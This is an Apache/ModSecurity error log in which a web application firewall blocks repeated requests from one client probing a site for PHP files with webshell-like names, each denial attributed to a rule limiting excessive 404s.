[Thu Apr 02 22:03:20.211407 2026] [:error] [pid 23927:tid 23952] [client 20.215.208.99:65083] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac53KEsZwqCndhl9uKDhWwAAAZc"]
[Thu Apr 02 22:03:20.799006 2026] [:error] [pid 54384:tid 54394] [client 20.215.208.99:5450] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac53KNWWpaby3TVN7Mc3MAAAAcg"]
[Thu Apr 02 22:03:21.435054 2026] [:error] [pid 59194:tid 59225] [client 20.215.208.99:48255] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac53KRMpAeV11hcQehxajQAAAAw"]
[Thu Apr 02 22:03:22.014167 2026] [:error] [pid 54384:tid 54395] [client 20.215.208.99:27134] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac53KtWWpaby3TVN7Mc3MwAAAck"]
[Thu Apr 02 22:03:22.679702 2026] [:error] [pid 59201:tid 59284] [client 20.215.208.99:65080] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac53KsAC0Tw8eL6gzZ46FQAAAJE"]
[Thu Apr 02 22:03:23.205623 2026] [:error] [pid 59201:tid 59287] [client 20.215.208.99:5275] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac53K8AC0Tw8eL6gzZ46GQAAAJQ"]
[Thu Apr 02 22:03:23.825787 2026] [:error] [pid 59201:tid 59285] [client 20.215.208.99:43869] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "ac53K8AC0Tw8eL6gzZ46HwAAAJI"]
[Thu Apr 02 22:03:24.463964 2026] [:error] [pid 59200:tid 59246] [client 20.215.208.99:43868] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "ac53LLfP26txrdLs3EqNCgAAAEY"]
[Thu Apr 02 22:03:25.005773 2026] [:error] [pid 23927:tid 23937] [client 20.215.208.99:18886] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "ac53LUsZwqCndhl9uKDhYwAAAYg"]
[Thu Apr 02 22:03:25.524770 2026] [:error] [pid 23927:tid 23943] [client 20.215.208.99:61982] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/only.php"] [unique_id "ac53LUsZwqCndhl9uKDhZQAAAY4"]
[Thu Apr 02 22:03:26.370947 2026] [:error] [pid 23927:tid 23935] [client 20.215.208.99:65039] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "ac53LksZwqCndhl9uKDhagAAAYY"]
[Thu Apr 02 22:03:27.953877 2026] [:error] [pid 59200:tid 59254] [client 20.215.208.99:43890] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "ac53L7fP26txrdLs3EqNEgAAAE4"]
[Thu Apr 02 22:03:30.539463 2026] [:error] [pid 59305:tid 59332] [client 20.215.208.99:43888] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "ac53Mqr2tV4rDwKFxKfNGwAAANc"]
[Thu Apr 02 22:03:33.493587 2026] [:error] [pid 54384:tid 54400] [client 20.215.208.99:65050] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "ac53NdWWpaby3TVN7Mc3NwAAAc4"]
[Thu Apr 02 22:03:34.715057 2026] [:error] [pid 23927:tid 23929] [client 20.215.208.99:27107] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tdsaz.php"] [unique_id "ac53NksZwqCndhl9uKDheQAAAYA"]
[Thu Apr 02 22:03:46.203899 2026] [:error] [pid 29467:tid 29482] [client 20.215.208.99:5305] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "ac53Qr4VUBFCJAq-WOnYIgAAAQw"]
[Thu Apr 02 22:03:50.937670 2026] [:error] [pid 29467:tid 29490] [client 20.215.208.99:65041] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "ac53Rr4VUBFCJAq-WOnYKwAAARQ"]
[Thu Apr 02 22:03:54.489841 2026] [:error] [pid 23927:tid 23944] [client 20.215.208.99:26607] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "ac53SksZwqCndhl9uKDhuwAAAY8"]
[Thu Apr 02 22:03:57.107802 2026] [:error] [pid 23927:tid 23940] [client 20.215.208.99:43849] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wmore1.php"] [unique_id "ac53TUsZwqCndhl9uKDhxwAAAYs"]
[Thu Apr 02 22:03:58.482567 2026] [:error] [pid 37543:tid 37569] [client 20.215.208.99:15340] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "ac53Tnhdk2bEYJCvILYAoAAAAVg"]
[Thu Apr 02 22:03:59.524936 2026] [:error] [pid 37543:tid 37547] [client 20.215.208.99:43899] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "ac53T3hdk2bEYJCvILYApgAAAUI"]
[Thu Apr 02 22:04:00.203150 2026] [:error] [pid 29467:tid 29491] [client 20.215.208.99:5567] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "ac53UL4VUBFCJAq-WOnYMwAAARU"]
[Thu Apr 02 22:04:01.174030 2026] [:error] [pid 59194:tid 59215] [client 20.215.208.99:49953] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx79.php"] [unique_id "ac53URMpAeV11hcQehxarwAAAAI"]
[Thu Apr 02 22:04:01.920647 2026] [:error] [pid 37543:tid 37558] [client 20.215.208.99:5253] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac53UXhdk2bEYJCvILYAswAAAU0"]
[Thu Apr 02 22:04:02.607908 2026] [:error] [pid 23927:tid 23942] [client 20.215.208.99:26617] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac53UksZwqCndhl9uKDh5wAAAY0"]
[Thu Apr 02 22:04:04.182125 2026] [:error] [pid 29467:tid 29481] [client 20.215.208.99:27092] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac53VL4VUBFCJAq-WOnYOQAAAQs"]
[Thu Apr 02 22:04:05.730881 2026] [:error] [pid 23927:tid 23929] [client 20.215.208.99:65053] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ibcqocdtu3eovdx2hwj7Cdefault.php"] [unique_id "ac53VUsZwqCndhl9uKDh-QAAAYA"]
[Thu Apr 02 22:04:06.770787 2026] [:error] [pid 29467:tid 29471] [client 20.215.208.99:65071] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "ac53Vr4VUBFCJAq-WOnYQAAAAQE"]
[Thu Apr 02 22:04:08.206492 2026] [:error] [pid 29467:tid 29488] [client 20.215.208.99:15344] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "ac53WL4VUBFCJAq-WOnYRAAAARI"]
[Thu Apr 02 22:04:09.329328 2026] [:error] [pid 23927:tid 23939] [client 20.215.208.99:61966] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "ac53WUsZwqCndhl9uKDh_wAAAYo"]
[Thu Apr 02 22:04:12.800279 2026] [:error] [pid 23927:tid 23938] [client 20.215.208.99:61965] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/less.php"] [unique_id "ac53XEsZwqCndhl9uKDiAAAAAYk"]
[Thu Apr 02 22:04:15.004592 2026] [:error] [pid 37543:tid 37548] [client 20.215.208.99:49950] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "ac53X3hdk2bEYJCvILYA6wAAAUM"]
[Thu Apr 02 22:04:19.905502 2026] [:error] [pid 54384:tid 54387] [client 20.215.208.99:38752] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "ac53Y9WWpaby3TVN7Mc3eAAAAcE"]
[Thu Apr 02 22:04:22.284890 2026] [:error] [pid 29467:tid 29482] [client 20.215.208.99:27076] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "ac53Zr4VUBFCJAq-WOnYUgAAAQw"]
[Thu Apr 02 22:04:24.737395 2026] [:error] [pid 37543:tid 37549] [client 20.215.208.99:49927] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/t2gorhwasq4vioshtatw5eCdefault.php"] [unique_id "ac53aHhdk2bEYJCvILYA7wAAAUQ"]
[Thu Apr 02 22:04:30.518839 2026] [:error] [pid 37543:tid 37560] [client 20.215.208.99:48892] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "ac53bnhdk2bEYJCvILYA9wAAAU8"]
[Thu Apr 02 22:04:36.565984 2026] [:error] [pid 59305:tid 59315] [client 20.215.208.99:65057] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "ac53dKr2tV4rDwKFxKfOKAAAAMY"]
[Thu Apr 02 22:04:38.860785 2026] [:error] [pid 59305:tid 59311] [client 20.215.208.99:48222] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/new3.php"] [unique_id "ac53dqr2tV4rDwKFxKfONwAAAMI"]
[Thu Apr 02 22:04:42.005902 2026] [:error] [pid 54384:tid 54396] [client 20.215.208.99:48207] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "ac53etWWpaby3TVN7Mc3jwAAAco"]
[Thu Apr 02 22:04:44.526518 2026] [:error] [pid 29467:tid 29478] [client 20.215.208.99:61953] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xy.php"] [unique_id "ac53fL4VUBFCJAq-WOnYbQAAAQg"]
[Thu Apr 02 22:04:55.274150 2026] [:error] [pid 59305:tid 59312] [client 20.215.208.99:38754] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sts.php"] [unique_id "ac53h6r2tV4rDwKFxKfO2QAAAMM"]
[Thu Apr 02 22:04:58.435271 2026] [:error] [pid 37543:tid 37567] [client 20.215.208.99:44294] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sts.php"] [unique_id "ac53inhdk2bEYJCvILYBFQAAAVY"]
[Thu Apr 02 22:05:02.520420 2026] [:error] [pid 37543:tid 37563] [client 20.215.208.99:26603] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sts.php"] [unique_id "ac53jnhdk2bEYJCvILYBKQAAAVI"]
[Thu Apr 02 22:05:07.050448 2026] [:error] [pid 29467:tid 29492] [client 20.215.208.99:30553] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sts.php"] [unique_id "ac53k74VUBFCJAq-WOnYnQAAARY"]
[Thu Apr 02 22:05:09.836582 2026] [:error] [pid 23927:tid 23933] [client 20.215.208.99:20358] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hbvdoz7cy9k6xge9zhuvkvitCdefault.php"] [unique_id "ac53lUsZwqCndhl9uKDiOgAAAYQ"]
[Thu Apr 02 22:05:11.634665 2026] [:error] [pid 59305:tid 59331] [client 20.215.208.99:14792] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hbvdoz7cy9k6xge9zhuvkvitCdefault.php"] [unique_id "ac53l6r2tV4rDwKFxKfPFgAAANY"]
[Thu Apr 02 22:05:13.131599 2026] [:error] [pid 59305:tid 59325] [client 20.215.208.99:23002] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hbvdoz7cy9k6xge9zhuvkvitCdefault.php"] [unique_id "ac53mar2tV4rDwKFxKfPGAAAANA"]
[Thu Apr 02 22:05:15.871102 2026] [:error] [pid 59200:tid 59251] [client 20.215.208.99:23032] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hbvdoz7cy9k6xge9zhuvkvitCdefault.php"] [unique_id "ac53m7fP26txrdLs3EqNRgAAAEs"]
[Thu Apr 02 22:05:17.116994 2026] [:error] [pid 54384:tid 54402] [client 20.215.208.99:34949] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "ac53ndWWpaby3TVN7Mc3wgAAAdA"]
[Thu Apr 02 22:05:17.890696 2026] [:error] [pid 23927:tid 23934] [client 20.215.208.99:43123] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "ac53nUsZwqCndhl9uKDiRQAAAYU"]
[Thu Apr 02 22:05:19.239265 2026] [:error] [pid 59305:tid 59327] [client 20.215.208.99:22403] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "ac53n6r2tV4rDwKFxKfPIgAAANI"]
[Thu Apr 02 22:05:24.551567 2026] [:error] [pid 59305:tid 59327] [client 20.215.208.99:65145] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wziar1.php"] [unique_id "ac53pKr2tV4rDwKFxKfPfAAAANI"]
[Thu Apr 02 22:05:28.585872 2026] [:error] [pid 29467:tid 29471] [client 20.215.208.99:62558] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac53qL4VUBFCJAq-WOnY1QAAAQE"]
[Thu Apr 02 22:05:33.474703 2026] [:error] [pid 54384:tid 54393] [client 20.215.208.99:60848] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac53rdWWpaby3TVN7Mc37QAAAcc"]
[Thu Apr 02 22:05:38.105089 2026] [:error] [pid 59305:tid 59310] [client 20.215.208.99:43029] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fsgdjkl.php"] [unique_id "ac53sqr2tV4rDwKFxKfP0QAAAME"]
